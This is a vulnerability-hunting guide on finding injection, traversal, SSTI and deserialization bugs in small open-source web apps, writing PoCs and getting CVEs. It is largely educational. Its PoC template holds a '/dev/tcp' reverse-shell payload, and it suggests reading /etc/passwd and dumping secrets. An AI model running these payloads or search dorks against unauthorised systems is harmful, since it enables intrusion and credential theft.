Vulnerability Research & CVE Hunting
How to find real vulnerabilities in open-source software, write PoCs, and get CVEs assigned.
MINDSET - What you're actually looking for
Every exploitable vulnerability is the same pattern:
User-controlled input → No sanitization → Dangerous function
Your job is to find that path. Everything else is details.
TARGET SELECTION - What to hunt
Good targets
- Web services wrapping CLI tools (wkhtmltopdf, ffmpeg, imagemagick, pandoc)
- Flask/Django/Express apps with < 500 stars (enough users to matter, small enough to audit fast)
- Docker-based services (often run as root, common misconfigs)
- Abandoned projects still in use (no maintainer = instant full disclosure)
- MCP servers (new attack surface, most have no security review)
Bad targets
- Intentionally vulnerable apps (DVWA, WebGoat, juice-shop)
- CTF challenges and tutorials
- Projects with 0 users/stars
- Projects with active security teams and bug bounties (save for later)
- Offensive security tools (reporting command injection in a pentest tool is weak)
GITHUB CODE SEARCH - Finding vulnerable patterns
Command injection (CWE-78)
The highest-value vulnerability class. Network-accessible, usually no auth, CVSS 9.0+.
language:python "os.system" "request" filename:app.py
language:python "subprocess" "shell=True" "request.json"
language:python "subprocess.Popen" "request.form" "shell=True"
language:python "execute" "request" filename:app.py
language:php "exec(" "$_GET"
language:php "system(" "$_POST"
language:php "passthru(" "$_REQUEST"
language:javascript "child_process" "req.body"
language:javascript "exec(" "req.query"
What you're looking for
# VULNERABLE - user input reaches shell execution
data = request.json.get('input')
os.system(f"tool {data}") # Direct injection
subprocess.Popen(f"tool {data}", shell=True) # shell=True with f-string
execute(f"tool {data}") # executor library (bash -c)
# SAFE - parameterized, no shell
subprocess.run(['tool', data]) # List args, no shell
subprocess.run(['tool', data], shell=False) # Explicit no shell
SQL injection (CWE-89)
language:python "execute" "request" "%" filename:app.py
language:python "cursor.execute" "format" "request"
language:php "mysql_query" "$_GET"
language:php "mysqli_query" "$_POST"
What you're looking for
# VULNERABLE - string formatting into SQL
query = f"SELECT * FROM users WHERE name = '{request.form['name']}'"
cursor.execute(query)
# SAFE - parameterized query
cursor.execute("SELECT * FROM users WHERE name = %s", (request.form['name'],))
Path traversal (CWE-22)
language:python "open(" "request" "filename" filename:app.py
language:python "send_file" "request.args"
language:python "os.path.join" "request"
language:php "file_get_contents" "$_GET"
language:php "include" "$_GET"
What you're looking for
# VULNERABLE - user controls file path
filename = request.args.get('file')
return send_file(f"/uploads/{filename}") # ../../etc/passwd
# SAFE - basename strips directory components
filename = os.path.basename(request.args.get('file'))
return send_file(os.path.join('/uploads', filename))
Server-Side Template Injection (CWE-1336)
language:python "render_template_string" "request"
language:python "Template(" "request"
language:python "from_string" "request"
language:python "Jinja2" "render" "request"
What you're looking for
# VULNERABLE - user input in template
template = request.form['name']
return render_template_string(f"Hello {template}") # {{7*7}} = 49
# SAFE - template with variable
return render_template_string("Hello {{ name }}", name=request.form['name'])
Deserialization (CWE-502)
language:python "pickle.loads" "request"
language:python "yaml.load(" "request"
language:python "yaml.load(" NOT "yaml.safe_load"
language:java "ObjectInputStream" "readObject"
language:php "unserialize" "$_"
What you're looking for
# VULNERABLE - deserializing user input
data = pickle.loads(request.data) # Arbitrary code execution
data = yaml.load(request.data) # yaml.load without SafeLoader
# SAFE
data = json.loads(request.data) # JSON is safe
data = yaml.safe_load(request.data) # SafeLoader blocks code execution
CODE REVIEW PROCESS - How to evaluate a target fast
Step 1: Identify the app type (30 seconds)
Read the README. What does it do?
| App type | Most likely vulnerability |
|---|---|
| Web service wrapping CLI tool | Command injection |
| File upload/download service | Path traversal |
| Database-backed web app | SQL injection |
| Template-based web app | SSTI |
| API accepting serialized data | Deserialization |
| Authentication system | Auth bypass, IDOR |
Step 2: Find the entry points (2 minutes)
Where does user input enter the application?
# Find all route handlers
grep -rn "app.route\|@app\.\|@router\.\|@blueprint\." *.py
grep -rn "app.get\|app.post\|router.get\|router.post" *.js
# Find all request data access
grep -rn "request.form\|request.args\|request.json\|request.data\|request.files" *.py
grep -rn "req.body\|req.query\|req.params\|req.file" *.js
grep -rn "\$_GET\|\$_POST\|\$_REQUEST\|\$_FILES" *.php
Step 3: Find the dangerous sinks (2 minutes)
# Command execution
grep -rn "os.system\|os.popen\|subprocess\|exec(\|execute(" *.py
grep -rn "child_process\|exec(\|execSync\|spawn(" *.js
grep -rn "system(\|exec(\|passthru(\|shell_exec(\|popen(" *.php
# File operations
grep -rn "open(\|send_file\|send_from_directory" *.py
grep -rn "readFile\|createReadStream\|writeFile" *.js
grep -rn "file_get_contents\|fopen\|include\|require" *.php
# Database queries
grep -rn "execute(\|cursor\|query(" *.py
grep -rn "mysql_query\|mysqli_query\|pg_query" *.php
# Template rendering
grep -rn "render_template_string\|Template(\|from_string" *.py
# Deserialization
grep -rn "pickle\|yaml.load\|marshal\|shelve" *.py
grep -rn "unserialize\|json_decode" *.php
Step 4: Trace the path (5 minutes)
Can user input reach the dangerous sink without sanitization?
Route handler → gets user input → any validation? → reaches dangerous function?
| | |
@app.route('/convert') No filtering? os.system(cmd)?
No allowlist? subprocess(shell=True)?
No escaping? execute(string)?
If the answer to all three is "no filtering, no escaping, no allowlist" then you have a vulnerability.
Step 5: Check exploitability (5 minutes)
| Question | Impact on CVSS |
|---|---|
| Network accessible? | AV:N (higher) vs AV:L (lower) |
| Auth required? | PR:N (no auth = critical) vs PR:L |
| User interaction needed? | UI:N (no interaction = higher) |
| What privileges does it run as? | Root = maximum impact |
| What can you access? | Read files? Execute commands? Full RCE? |
BUILDING THE PoC - Proving exploitation
Order of proof
- Confirm the vulnerability exists by writing a file (
id > /tmp/pwned.txt) - Prove arbitrary execution with different commands
- Demonstrate impact (read /etc/passwd, dump env vars, etc.)
- Get a reverse shell for maximum impact proof
- Write the automated PoC script
PoC script template (command injection)
#!/usr/bin/env python3
import argparse
import requests
import json
import base64
def check(target):
"""Verify target is vulnerable."""
# Send benign request first to confirm service is running
# Then send injection payload
# Describe how to verify execution
pass
def exploit(target, command, method="value"):
"""Execute arbitrary command on target."""
# Build the payload
# Send the request
# Describe how to retrieve output
pass
def reverse_shell(target, lhost, lport):
"""Spawn reverse shell on target."""
payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
exploit(target, payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--target", "-t", required=True)
parser.add_argument("--command", "-c", default=None)
parser.add_argument("--check", action="store_true")
parser.add_argument("--reverse-shell", "-r", default=None)
args = parser.parse_args()
if args.check:
check(args.target)
elif args.reverse_shell:
ip, port = args.reverse_shell.split(":")
reverse_shell(args.target, ip, port)
else:
exploit(args.target, args.command or "id")
SETTING UP TEST ENVIRONMENTS
Docker targets
Most web service targets have Dockerfiles. If they don't, build one:
FROM python:3.10-slim
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
EXPOSE 8080
CMD ["python", "app.py"]
docker build -t vuln-target .
docker run -d -p 8080:8080 --name vuln-test vuln-target
If the app uses Python 2
Port the minimum code needed to Python 3. Preserve the vulnerability logic exactly. Common fixes:
# Python 2 → Python 3
print "hello" → print("hello")
.decode('base64') → base64.b64decode()
raw_input() → input()
except Exception, e → except Exception as e
open(f, 'r') → open(f, 'rb') # for binary
EVIDENCE COLLECTION - Screenshots that matter
Take these screenshots in order:
| # | Screenshot | Purpose |
|---|---|---|
| 1 | Container/service running | Proves environment setup |
| 2 | Legitimate request working | Proves app functions normally |
| 3 | Clean state (no evidence files) | Proves no prior tampering |
| 4 | RCE proof (id output as root) | Confirms code execution |
| 5 | Second injection vector | Shows multiple attack paths |
| 6 | Data exfiltration (/etc/passwd) | Demonstrates file read impact |
| 7 | Environment variable dump | Demonstrates secret exposure |
| 8 | Full RCE proof (whoami + hostname + date) | Timestamped proof |
| 9 | PoC script running | Shows automated exploitation |
| 10 | Reverse shell | Maximum impact demonstration |
CVE DISCLOSURE PROCESS
Step 1: Report to maintainer
Check for SECURITY.md in the repo. If none:
1. GitHub Security Advisory (preferred)
→ repo → Security tab → Report a vulnerability
2. Public GitHub Issue (if repo appears abandoned)
→ Create issue with "[Security] Vulnerability: RCE via ..."
3. Email maintainer directly
→ Check git log for email, README for contact info
Step 2: Request CVE from MITRE
Submit at https://cveform.mitre.org/
Required fields:
Vulnerability Type: OS Command Injection / SQL Injection / etc.
Vendor: The org or username
Product: Repository name
Version: All versions / specific version
Attack Type: Remote / Local
Impact: Code Execution / Information Disclosure / etc.
Affected Component: filename.py, lines X-Y
Attack Vector: Description of how to exploit
Suggested Description: One paragraph for the CVE database
Discoverer: Your name
References: GitHub repo URL, issue URL, advisory URL
Step 3: Decide disclosure timeline
| Maintainer status | Action |
|---|---|
| Active, responds | 90-day coordinated disclosure |
| Active, no response after 30 days | Publish with CVE |
| Abandoned (no commits in 1+ year) | Immediate full disclosure |
Step 4: Publish
Where to publish (do all of them):
1. GitHub PoC repository (README + poc.py + screenshots)
2. Blog post (full technical writeup)
3. ExploitDB (email submit@offsec.com with exploit script)
4. Full Disclosure mailing list (seclists.org)
5. PacketStorm Security (packetstormsecurity.com/submit)
6. LinkedIn post (builds professional visibility)
7. Twitter/X thread (builds community presence)
EXPLOITDB SUBMISSION FORMAT
Email: submit@offsec.com
Subject = Exploit title. Attach the exploit as a .py file with these headers:
# Exploit Title: [target] - [vuln type]
# Google Dork: N/A
# Date: [YYYY-MM-DD]
# Exploit Author: [your name]
# Vendor Homepage: [URL]
# Software Link: [URL]
# Version: [affected versions]
# Tested on: [OS]
# CVE: [CVE-XXXX-XXXXX or Pending]
⚠️ They will NOT accept: reflected XSS without CVE, DLL hijacking, path disclosure, open redirects, clickjacking without CVE, or vulns requiring admin access.
DANGEROUS FUNCTIONS CHEAT SHEET
Python
| Function | Risk | CWE |
|---|---|---|
os.system() | Command injection | CWE-78 |
os.popen() | Command injection | CWE-78 |
subprocess.Popen(shell=True) | Command injection | CWE-78 |
subprocess.run(shell=True) | Command injection | CWE-78 |
subprocess.call(shell=True) | Command injection | CWE-78 |
eval() | Code injection | CWE-94 |
exec() | Code injection | CWE-94 |
pickle.loads() | Deserialization RCE | CWE-502 |
yaml.load() | Deserialization RCE | CWE-502 |
render_template_string() | SSTI | CWE-1336 |
open() with user input | Path traversal | CWE-22 |
send_file() with user input | Path traversal | CWE-22 |
PHP
| Function | Risk | CWE |
|---|---|---|
system() | Command injection | CWE-78 |
exec() | Command injection | CWE-78 |
passthru() | Command injection | CWE-78 |
shell_exec() | Command injection | CWE-78 |
`backticks` | Command injection | CWE-78 |
popen() | Command injection | CWE-78 |
eval() | Code injection | CWE-94 |
preg_replace('/e') | Code injection | CWE-94 |
unserialize() | Deserialization | CWE-502 |
include() / require() | LFI/RFI | CWE-98 |
file_get_contents() | Path traversal / SSRF | CWE-22 |
JavaScript / Node.js
| Function | Risk | CWE |
|---|---|---|
child_process.exec() | Command injection | CWE-78 |
child_process.execSync() | Command injection | CWE-78 |
eval() | Code injection | CWE-94 |
Function() | Code injection | CWE-94 |
vm.runInNewContext() | Sandbox escape | CWE-94 |
fs.readFile() with user input | Path traversal | CWE-22 |
require() with user input | Code injection | CWE-94 |
CVSS 3.1 QUICK SCORING
Use for your advisory reports:
| Scenario | Vector | Score |
|---|---|---|
| RCE, no auth, network | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 Critical |
| RCE, auth required, network | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 8.8 High |
| File read, no auth, network | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | 7.5 High |
| Command injection, local only | AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H | 7.8 High |
| DLL hijacking | AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H | 7.8 High |
| XSS (reflected) | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N | 6.1 Medium |
Calculator: https://www.first.org/cvss/calculator/3.1
SPEED TIPS
- Start with command injection. Highest CVSS, easiest to find, easiest to prove.
- Search GitHub for dangerous patterns, not specific apps. You find more targets.
- Read the code, not the README. READMEs lie. Code doesn't.
- Check
requirements.txtorpackage.jsonfirst. If the app importsexecutor,subprocess, orchild_process, dig deeper. - Grep backwards from sinks, not forward from inputs. Find
os.system()first, then trace back to see if user input reaches it. - Skip projects with zero network exposure. CLI tools, build scripts, and local-only utilities are low-value targets.
- Skip projects with authentication on all endpoints. Unless you're looking for auth bypass, no-auth targets give higher CVSS.
- One CVE in a popular project > five CVEs in unknown ones. Stars and forks matter for credibility.